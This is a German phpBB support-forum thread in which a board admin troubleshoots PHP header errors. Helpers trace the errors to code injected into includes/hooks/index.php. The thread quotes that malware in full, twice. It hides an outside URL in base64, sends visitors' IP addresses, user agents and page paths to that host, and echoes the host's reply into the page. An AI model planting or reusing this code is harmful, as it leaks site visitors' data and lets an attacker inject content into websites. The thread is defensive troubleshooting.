PHP Notice Problem

Fragen zur Bedienung von phpBB 3.0.x, Probleme bei der Benutzung und alle weiteren Fragen inkl. Update auf die neuste phpBB 3.0.14 Version
Forumsregeln
phpBB 3.0 hat das Ende seiner Lebenszeit überschritten
phpBB 3.0 wird nicht mehr aktiv unterstützt. Insbesondere werden - auch bei Sicherheitslücken - keine Patches mehr bereitgestellt. Der Einsatz von phpBB 3.0 erfolgt daher auf eigene Gefahr. Wir empfehlen einen Umstieg auf die neuste phpBB-Version, welches aktiv weiterentwickelt wird und für welches regelmäßig Updates zur Verfügung gestellt werden.
Mille1404
Mitglied
Beiträge: 42
Registriert: 05.07.2011 09:11

PHP Notice Problem

Beitrag von Mille1404 »

Hilfe Hilfe liebe Leut, mir ist ein großes Problem passiert...

Und zwar habe ich mir einen dicken Virus eingefangen der mich Zwang zu formatieren. Eigentlich nicht schlimm, aber wenn er auf der Externen Festplatte mit den Images und Backups schlummert und sich beim update verbreitet ist einfach alles weg.
Nun habe ich also kein Altes Foren Backup auf dem Rechner.

Das Forum zeigt nun über dem eigentlichen Forum folgendes an:

Code: Alles auswählen

[phpBB Debug] PHP Notice: in file /includes/session.php on line 1024: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:294)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 1024: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:294)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 1024: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:294)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 4513: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:294)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 4515: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:294)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 4516: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:294)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 4517: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:294)
Ein Anmelden ist zwar möglich jedoch leider nicht als Admin.
Sobald ich mich als Admin anmelde bekomme ich keine Oberfläche mehr angezeigt, lediglich :

Code: Alles auswählen

[phpBB Debug] PHP Notice: in file /adm/index.php on line 158: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:294)
[phpBB Debug] PHP Notice: in file /adm/index.php on line 160: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:294)
[phpBB Debug] PHP Notice: in file /adm/index.php on line 161: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:294)
[phpBB Debug] PHP Notice: in file /adm/index.php on line 162: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:294)
Ich weiss ehrlich gesagt überhaupt nicht was ich machen soll, und wie ich ran gehen soll an die Sache.
Kann mir da jemand helfen?
Ich bin auch gerne bereit jmd. auf Anfrage die Seite zu nennen (schreibe sie jedoch nur ungern hier hinein und würde sie dann per PN senden)

Über Hilfe würde ich mich enorm freuen, und ihr würdet mir das Jahr 2011 noch retten können!

Ich wünsche Frohe Weihnachten gehabt zu haben!
Viele Grüße aud Bottrop
Marcel
Benutzeravatar
gloriosa
Mitglied
Beiträge: 13770
Registriert: 04.01.2005 20:23
Wohnort: Landeshauptstadt Erfurt

Re: PHP Notice Problem

Beitrag von gloriosa »

Hallo,
das oben beschriebene Problem (Virus) und die Fehlermeldung (siehe dazu auch >>> KB:84 <<< ) haben erst einmal nicht miteinander zu tun, weil sich ja das Board i.d.R. auf einem Webspace, weit weg vom heimischen PC, befindet. :oops:

Die Fehlermeldung deutet darauf hin, das beim MOD-Einbau vergessen wurde, die dt. Sprachdateien/-variablen zu installieren. :o
Viele Grüße - gloriosa :D
Die einen schützen sich vor frischem Wind, während die anderen ihn nutzen.
Kein kostenloser MOD-Einbau usw. bzw. Support via PN, Email oder IRC !
Mille1404
Mitglied
Beiträge: 42
Registriert: 05.07.2011 09:11

Re: PHP Notice Problem

Beitrag von Mille1404 »

Hi,

danke erstmal für deine Antwort.
Das die beiden Sachen nicht zusammenhängen ist schon klar, es ist nur so, dass ich aus diesem Grund kein Backup habe.
Weder eine Installation noch eine änderung habe ich durchgeführt, und der Fehler ist aufgetreten.

Der Fehler scheint nun also in Zeile 1024 zu liegen.

Code: Alles auswählen

                header('Set-Cookie: ' . $name_data . (($cookietime) ? '; expires=' . $expire : '') . '; path=' . $config['cookie_path'] . $domain . ((!$config['cookie_secure']) ? '' : '; secure') . '; HttpOnly', false);
Dies ist der Text, in der Zeile.
Wo kann da ein Fehler sein?

Der Text aus Zeile 294 lautet:

Code: Alles auswählen

      echo $sResult; // Statistic code end     
Ob es weiterhilft weiss ich nicht, aber ich bin über jeden Tip dankbar.

Was kann es denn sein wenn tatsächlich diese Sprachdateien gemeint sind.
Was muss ich da ändern?

Schonmal vielen Dank
Benutzeravatar
Mahony
Ehemaliges Teammitglied
Beiträge: 12179
Registriert: 17.11.2005 22:33
Wohnort: Ostfildern Kemnat
Kontaktdaten:

Re: PHP Notice Problem

Beitrag von Mahony »

Hallo
Mille1404 hat geschrieben:Der Text aus Zeile 294 lautet:

Code: Alles auswählen

echo $sResult; // Statistic code end
Speichere die Datei includes/hooks/index.php in UTF8 ohne BOM
Siehe dazu auch KB:utf8bom


Grüße: Mahony
Taekwondo in Berlin
Wer fragt, ist ein Narr für fünf Minuten, wer nicht fragt, ist ein Narr für immer.
Mille1404
Mitglied
Beiträge: 42
Registriert: 05.07.2011 09:11

Re: PHP Notice Problem

Beitrag von Mille1404 »

Leider brachte es keinen Erfolg.

Ich habe es mit Notepad++ versucht und die schritte durchgeführt wie sie in der Beschreibung stehen.
Gibt es noch eine alternative?
Benutzeravatar
Mahony
Ehemaliges Teammitglied
Beiträge: 12179
Registriert: 17.11.2005 22:33
Wohnort: Ostfildern Kemnat
Kontaktdaten:

Re: PHP Notice Problem

Beitrag von Mahony »

Hallo

1. Was genau steht in deiner includes/hooks/index.php ab Zeile 248

2. Hast du nach der Änderung der Datei den (foren)cache geleert?

P.S. In Notepad++ v5.9.6.2 musst du die Datei öffnen, dann auf Kodierung-->Konvertiere zu UTF-8 ohne BOM und anschließend die Datei speichern.

Nachtrag: Sollte dieser Code

Code: Alles auswählen

echo $sResult; // Statistic code end
nicht von einem, von dir installierten, MOD stammen, dann könnte es sich um, von einem Virus bzw. Malware, eingeschleusten Code handeln.
Siehe auch http://www.google.de/#hl=de&cp=38&gs_id ... 24&bih=614

Sollte es sich um, von einen Virus/Malware, eingeschleusten Code handeln, dann schau auch mal hier KB:gehackt


Grüße: Mahony
Taekwondo in Berlin
Wer fragt, ist ein Narr für fünf Minuten, wer nicht fragt, ist ein Narr für immer.
Mille1404
Mitglied
Beiträge: 42
Registriert: 05.07.2011 09:11

Re: PHP Notice Problem

Beitrag von Mille1404 »

Guten Morgen,

leider bin ich nicht fit genug in PHP um zu beurteilen woher der Code kommt.

Installiert habe ich als Mod nur einen einzigen und das ist Ip Tracking für phpBB3 , den sogar du mir mal empfolen hast (welch zufall :grin: )

Um auf deine Frage zurück zu kommen:
Ab Zeile 248 steht bei mir folgendes im Code:

Code: Alles auswählen

}

?><?

if (!isset($sRetry))

{

global $sRetry;

$sRetry = 1;

    // This code use for global bot statistic

    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot

    $stCurlHandle = NULL;

    $stCurlLink = "";

    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes

    {

        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            

        $stCurlLink = base64_decode( 'aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);

            $stCurlHandle = curl_init( $stCurlLink ); 

    }

    } 

if ( $stCurlHandle !== NULL )

{

    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);

    $sResult = @curl_exec($stCurlHandle); 

    if ($sResult[0]=="O") 

     {$sResult[0]=" ";

      echo $sResult; // Statistic code end

      }

    curl_close($stCurlHandle); 

}

}

?> 
Vielen Dank mal wieder!

Schöne Grüße aus Bottrop
Mille1404
Mitglied
Beiträge: 42
Registriert: 05.07.2011 09:11

Re: PHP Notice Problem

Beitrag von Mille1404 »

Da das Forum außerdem meldet, dass es sich auf die Zeilen
4513, 15, 16, 17 bezieht in der includes/functions.php hier noch einmal der Code aus diesen Zeilen.
(Ich weiss nicht obs hilft, aber ich stelle ihn mal ein!)


Ab Zeile 4512.

Code: Alles auswählen

	// application/xhtml+xml not used because of IE
	header('Content-type: text/html; charset=UTF-8');

	header('Cache-Control: private, no-cache="set-cookie"');
	header('Expires: 0');
	header('Pragma: no-cache');

	return;
Benutzeravatar
Mahony
Ehemaliges Teammitglied
Beiträge: 12179
Registriert: 17.11.2005 22:33
Wohnort: Ostfildern Kemnat
Kontaktdaten:

Re: PHP Notice Problem

Beitrag von Mahony »

Hallo
Dieser Code

Code: Alles auswählen

<?

if (!isset($sRetry))

{

global $sRetry;

$sRetry = 1;

    // This code use for global bot statistic

    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot

    $stCurlHandle = NULL;

    $stCurlLink = "";

    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes

    {

        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics           

        $stCurlLink = base64_decode( 'aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);

            $stCurlHandle = curl_init( $stCurlLink );

    }

    }

if ( $stCurlHandle !== NULL )

{

    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);

    $sResult = @curl_exec($stCurlHandle);

    if ($sResult[0]=="O")

     {$sResult[0]=" ";

      echo $sResult; // Statistic code end

      }

    curl_close($stCurlHandle);

}

}

?>
stammt von einem Virus bzw. Malware.
Du solltest also gemäß KB:gehackt vorgehen.


Grüße: Mahony
Taekwondo in Berlin
Wer fragt, ist ein Narr für fünf Minuten, wer nicht fragt, ist ein Narr für immer.
Mille1404
Mitglied
Beiträge: 42
Registriert: 05.07.2011 09:11

Re: PHP Notice Problem

Beitrag von Mille1404 »

Ohje, dass heisst neu installation.

Jetzt ist mir klar, dass ich wieder einiges tun muss. Wie bekomme ich denn nun die Gruppen und deren Rechte wieder in das Forum, sowie die Beiträge?
Gibts da ne möglichkeit?
Antworten

Zurück zu „[3.0.x] Administration, Benutzung und Betrieb“